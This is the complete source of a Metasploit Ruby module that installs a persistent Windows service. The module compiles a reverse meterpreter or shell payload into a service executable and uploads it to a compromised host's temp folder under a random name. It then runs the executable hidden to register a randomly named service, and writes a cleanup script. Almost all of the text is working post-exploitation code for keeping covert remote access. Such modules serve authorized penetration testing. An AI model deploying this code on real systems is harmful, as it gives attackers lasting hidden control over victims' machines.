## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/compiler/windows' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Priv def initialize(info = {}) super(update_info(info, 'Name' => 'Windows Persistent Service Installer', 'Description' => %q{ This Module will generate and upload an executable to a remote host, next will make it a persistent service. It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required. }, 'License' => MSF_LICENSE, 'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' ], 'Platform' => [ 'windows' ], 'Targets' => [['Windows', {}]], 'SessionTypes' => [ 'meterpreter', 'shell'], 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ] ], 'DisclosureDate'=> "Oct 20 2018" )) register_options( [ OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]), OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']), OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']), OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]) ]) end # Run Method for when run command is issued #------------------------------------------------------------------------------- def exploit unless is_system? || is_admin? print_error("Insufficient privileges to create service") return end unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse# print_error("Only support for windows meterpreter/shell reverse staged payload") return end print_status("Running module against #{sysinfo['Computer']}") # Set variables rexepath = datastore['REMOTE_EXE_PATH'] @retry_time = datastore['RETRY_TIME'] rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8) @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8) @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16) # Add the windows pe suffix to rexename unless rexename.end_with?('.exe') rexename << ".exe" end host, _port = session.tunnel_peer.split(':') @clean_up_rc = "" buf = create_payload vprint_status(buf) metsvc_code = metsvc_template(buf) bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code) victim_path = write_exe_to_target(bin, rexename, rexepath) install_service(victim_path) clean_rc = log_file file_local_write(clean_rc, @clean_up_rc) print_status("Cleanup Meterpreter RC File: #{clean_rc}") report_note(host: host, type: "host.persistance.cleanup", data: { local_id: session.sid, stype: session.type, desc: session.info, platform: session.platform, via_payload: session.via_payload, via_exploit: session.via_exploit, created_at: Time.now.utc, commands: @clean_up_rc }) end def create_payload p = payload.encoded Msf::Simple::Buffer.transform(p, 'c', 'buf') end # Function for writing executable to target host # Code from post/windows/manage/persistence_exe # def write_exe_to_target(rexe, rexename, rexepath) # check if we have write permission if rexepath begin temprexe = rexepath + "\\" + rexename write_file_to_target(temprexe,rexe) rescue Rex::Post::Meterpreter::RequestError print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%") temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename write_file_to_target(temprexe,rexe) end # Write to %temp% directory if not set REMOTE_EXE_PATH else temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename write_file_to_target(temprexe,rexe) end print_good("Meterpreter service exe written to #{temprexe}") @clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended. @clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n" temprexe end def write_file_to_target(temprexe,rexe) fd = session.fs.file.new(temprexe, "wb") fd.write(rexe) fd.close end # Function for creating log folder and returning log path #------------------------------------------------------------------------------- def log_file # Get hostname host = session.sys.config.sysinfo["Computer"] # Create Filename info to be appended to downloaded files filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") # Create a directory for the logs logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) # Create the log directory ::FileUtils.mkdir_p(logs) logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" end # Function to install payload as a service #------------------------------------------------------------------------------- def install_service(path) print_status("Creating service #{@service_name}") begin session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, {'Hidden' => true}) rescue ::Exception => e print_error("Failed to install the service.") print_error(e.to_s) end @clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc @clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc end def metsvc_template(buf) @install_cmd = Rex::Text.rand_text_alpha(4..8) @start_cmd = Rex::Text.rand_text_alpha(4..8) template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb')) ERB.new(template).result(binding) end end